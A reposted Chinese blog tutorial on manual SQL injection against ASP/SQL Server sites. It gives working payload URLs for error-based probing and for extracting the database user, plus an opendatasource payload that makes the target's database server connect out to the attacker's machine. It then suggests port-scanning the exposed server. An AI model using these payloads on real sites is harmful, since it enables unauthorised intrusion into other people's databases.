我也来sql inject

现在sql注入似乎已经是一个很过时的手段了,人们对网站的安全意思越来越高,存在sql注入的站点越来越少,但是依然有很多人在开发程序的时候会疏忽,下面

我就来讲讲一般的sql inject过程。

首先拿到一个站点后,我们首先想起来的就是找带有id=XX或者id=1类的网站地址,然后再后面加'等测试,例如我们假设现在有如下站点存在sql注入漏洞:
   cool.asp?id=cool
简单一看地址我们就可以初步断定注入类型是字符串类型,那么我们在后面加上一个'然后提交看看结果(前提是要关闭浏览器的显示友好错误),
那么我们在后面加上一个'符号,通常存在sql注入的网站会出现类似下面的错误。

Microsoft OLE DB Provider for SQL Server 错误 '80040e14'

第 1 行: '''附近有语法错误。

这段错误信息可以告诉我们网站使用了sql数据库,并且一般情况下使用的是sqloledb连接,如果这里出现for jet databases 那么很可能使用的是mdb数据。

也许你会问出现这段错误信息的原理,我们下面来看一段常用的sql查询语句:

select name from users where userid="'"+&userid&+"'"

当我们输入一个合法的userid后例如abc那么实际由sqlserver执行的查询语句就变成了
select name from users where userid='abc'

当然能顺利执行,但是如果我们在提交的userid中加上一个'例如abc'那么sql语句就变成了如下形式
select name from users where userid='abc''
这样当sql执行语句的时候,由于'字符是sql语句的关键字,而我们来看看'再语句中的意思,是用'fdsfd'来表示一段字串,因此'应该是成对使用的,所

以sqlserver就会认为sql语句错误,因为多了一个'。
所有的sql注入基本原理都在这里,就是提交带有sql关键字的信息给网站,通过各种组合最终构成自己想要得错误的sql语句让sql执行,暴露自己需要的信息。
如果明白了这个原理,再看上大把大把的t-sql语法,那么也许你已经明白sql注入的精华了。

我们再来看看上面的语句。这是一般情况下的语句,但是很多时候我们遇到的并不会像现在这么简单,通常后面也许会有order by之类的排序语法的,那么我们就

需要想到另外一个关键字--这两个字符组合在t-sql语句中表示忽略本行语句后面的所有内容,也就是说不管--后面是什么内容都将不被执行,所以通常我们可以

使用'--或者')--等组合来测试网站的查询语句的结构,这里我要说明的是在某些情况下,例如修改密码或者删除用户名等操作的sql注入语句中,最好不要使用or

 1=2或者and 1=1之内的可能引起多条查询结果的字串来测试查询语句,因为这样很可能大量破坏网站数据库内容,这种情况下我们可以使用' having 1=1来爆当

前表的字段,然后再用' and 1=1 and id=1--(id为爆出来的段名)这样的结构来测试原查询语句结构,这样就可以保证注入对数据库的影响最小。

初步判断可以sql注入以后我们就可以先弄到连接数据库的用户名,这是我们想到了user关键字,在sql语句中user变量是当前连接数据库的用户名,因为我们可以使

用' and user>0--这样的结构来获取用数据库户名.
因此我们可以构造如下提交

cool.asp?id=cool' and user>0--

一般情况下会出现如下形式错误

Microsoft OLE DB Provider for SQL Server  错误 '80040e07'

将 nvarchar 值 'dbo' 转换为数据类型为 int 的列时发生语法错误。

为什么会出现如下形式错误呢?

因为sql语句中各种类型变量在相互作用的时候,sql会尝试自动转换其类型,在有些类型无法转换的情况下就会出现错误,上面的语句我们用user变量去和0比较大

小,由于user一般都是一个字串,因此转换到int类型的时候当然会出错误,这里要说明的是,如果用的是sa连接的数据库,那么这里显示的是dbo,并不是连接名.

这里一般也可以告诉我们我们接下来该怎么做,如果是dbo那么也就是说这个连接用户拥有sysadmin用户组的权限,权限可以和系统管理员权限相当,算是一个好的

开始,但是如果这里是一个明确的字串,那么似乎意味着,接下来的过程会非常痛苦,因为一般如果注意到了使用不同用户的站长那么在相关安全方面也不会弱智,这

就以为着当前连接用户很可能只是一个db_owner权限组的用户.

下面也许你会想到立即开始注入,获取整个数据库结构,但是如果是我我不会这么做,如果需要高质量的注入,那么我们必须尽可能的偷懒.现在我们需要弄到sql数据

库服务器的ip地址,因为这有助于我们获得更多的信息.

这里我们应该想到最简单的方法就是使用opendatasource

opendatasource是一个可以达到远程查询的语句,我们也可以利用它获取sql服务器的ip地址.
首先我们需要打开防火墙的安全提示,然后我们可以构建如下代码.
cool.asp?id=cool' and (select top 1 name from

opendatasource('sqloledb','server=123.123.11.12;uid=sa;pwd=some;database=test').test.dbo.ku)>0--
这里的server就是你电脑的ip地址.
然后执行,一般如果sql数据库服务器可以上网(数据库服务器不可上网的估计很少),那么一般你的防火墙提示的最近试图连接你电脑1433端口的ip就是数据库服务

器的ip地址.当然你也可以通过server=1.1.1.1 2433这样的形势来指定连接某个端口.
拿到数据库ip地址后当然是先用工具扫描一番,然后看看是否同时也是web服务器.

未完待续...

转载于:https://www.cnblogs.com/lifeengines/archive/2006/11/15/561561.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值